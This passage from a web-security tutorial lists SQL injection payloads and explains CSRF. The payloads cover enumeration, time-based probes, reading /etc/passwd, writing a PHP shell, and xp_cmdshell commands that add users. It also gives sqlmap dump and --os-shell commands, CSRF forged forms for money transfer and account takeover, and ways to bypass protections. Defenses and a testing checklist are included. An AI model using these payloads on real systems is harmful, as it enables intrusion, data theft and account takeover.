' UNION SELECT version(),NULL--
' UNION SELECT current_database(),NULL--
' UNION SELECT table_name,NULL FROM information_schema.tables--
# MSSQL
' UNION SELECT @@version,NULL--
' UNION SELECT DB_NAME(),NULL--
' UNION SELECT name,NULL FROM sysdatabases--
# Oracle
' UNION SELECT banner,NULL FROM v$version--
' UNION SELECT table_name,NULL FROM all_tables--
# ==================== TIME-BASED BLIND ====================
# MySQL
' OR SLEEP(5)--
' OR IF(1=1,SLEEP(5),0)--
' OR IF(SUBSTRING(user(),1,1)='r',SLEEP(5),0)--
# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
# ==================== FILE ACCESS (MySQL) ====================
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
' UNION SELECT "",NULL INTO OUTFILE '/var/www/shell.php'--
# ==================== COMMAND EXECUTION ====================
# MSSQL (if xp_cmdshell enabled)
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'net user hacker pass123 /add'--
# Enable xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
π οΈ SQLMap - Automated SQLi Tool
sqlmap automates SQL injection detection and exploitation:
# Basic test
sqlmap -u "http://target.com/page?id=1"
# With POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# Dump database
sqlmap -u "http://target.com/page?id=1" --dbs # List databases
sqlmap -u "http://target.com/page?id=1" -D dbname --tables # List tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump # Dump table
# Get shell
sqlmap -u "http://target.com/page?id=1" --os-shell
Cross-Site Request Forgery (CSRF)
CSRF tricks victims into performing actions they didn't intend by exploiting the browser's automatic inclusion of cookies on cross-origin requests. If you're logged into your bank and visit a malicious page, that page can transfer money from your account without you knowing.
How CSRF Works
# ==================== THE ATTACK SCENARIO ====================
1. Victim logs into bank.com
- Browser stores session cookie: session=abc123xyz
2. Victim (still logged in) visits evil.com
3. evil.com contains hidden attack code:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
4. What happens:
- Browser makes GET request to bank.com
- Browser AUTOMATICALLY includes bank.com cookies!
- Bank sees authenticated request from victim
- Bank thinks victim wants to transfer money
- $10,000 goes to attacker
# ==================== WHY IT WORKS ====================
- Same-Origin Policy blocks evil.com from READING bank.com responses
- But SOP does NOT block evil.com from SENDING requests to bank.com
- Cookies are automatically included on any request to their domain
- Bank can't distinguish between legitimate and forged requests
# ==================== MORE DANGEROUS: POST REQUESTS ====================
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
# Victim visits evil.com β Form auto-submits β Money transferred!
# ==================== REAL-WORLD EXAMPLES ====================
# Change email (for account takeover)
<form action="https://target.com/settings/email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
# Change password
<form action="https://target.com/settings/password" method="POST">
<input name="new_password" value="hacked123">
<input name="confirm_password" value="hacked123">
</form>
# Add admin user
<form action="https://admin.target.com/users/create" method="POST">
<input name="username" value="backdoor">
<input name="role" value="admin">
</form>
# Delete account
<form action="https://target.com/account/delete" method="POST">
<input name="confirm" value="yes">
</form>
CSRF Attack Variations
πΌοΈ Image Tag
Simple GET request attacks. Limited but works for poorly designed sites.
<img src="https://bank.com/transfer?to=attacker&amount=100">
# Invisible, auto-loads
π Auto-submitting Form
For POST-based actions. Most common CSRF attack.
<body onload="document.forms[0].submit()">
<form action="target" method="POST">
<input name="action" value="bad">
</form>
</body>
π Link-based
Requires victim to click. Can be disguised.
<a href="https://bank.com/transfer?to=attacker&amount=100">
Click for free iPhone!
</a>
π‘ AJAX-based
More complex, requires CORS misconfiguration.
<script>
fetch('https://target.com/api/action', {
method: 'POST',
credentials: 'include',
body: 'malicious=data'
});
</script>
CSRF Protection Methods
# ==================== CSRF TOKENS (Primary Defense) ====================
# Server generates random token, includes in form:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="j8h2f9d8h2f9d8h2f9...">
<input name="to" value="...">
<input name="amount" value="...">
</form>
# Server validates token matches session
# Attacker can't guess the token!
# BUT: If there's XSS, attacker can READ the token from the page!
# ==================== SAMESITE COOKIES (Modern Defense) ====================
Set-Cookie: session=abc123; SameSite=Strict
# Cookie NOT sent on cross-site requests
Set-Cookie: session=abc123; SameSite=Lax
# Cookie sent on top-level navigations (links)
# NOT sent on form submissions, AJAX, images
# SameSite=None (DANGEROUS - must have Secure)
Set-Cookie: session=abc123; SameSite=None; Secure
# Sent on ALL requests - provides no CSRF protection
# ==================== OTHER DEFENSES ====================
# Origin/Referer header checking
# Server checks if Origin/Referer header matches expected
# Can be bypassed in some scenarios
# Re-authentication for sensitive actions
# Require password confirmation for changes
# Good for high-value actions
# Custom headers (for AJAX)
# AJAX can set custom headers, forms cannot
fetch('/api/transfer', {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
});
# Server rejects requests without custom header
# ==================== BYPASSING CSRF PROTECTION ====================
# Token not validated on server
# Try removing the token parameter entirely
# Token tied to wrong session
# Use another user's token
# Token in cookie (mirrored)
# If csrf_cookie = csrf_param, try setting both
# Referrer not checked properly
# Try empty referrer, null origin
# Method confusion
# Change POST to GET (or vice versa)
Finding CSRF Vulnerabilities
CSRF Testing Checklist
- β Identify state-changing actions (transfer money, change email, delete account)
- β Check if CSRF token exists in forms
- β Try removing the CSRF token - does the request still work?
- β Try changing the CSRF token to a random value
- β Try using a CSRF token from another user's session
- β Check if action works via GET (change POST to GET)
- β Check SameSite cookie attribute (if None or missing = vulnerable)
- β Test from an attacker-controlled page with the forged request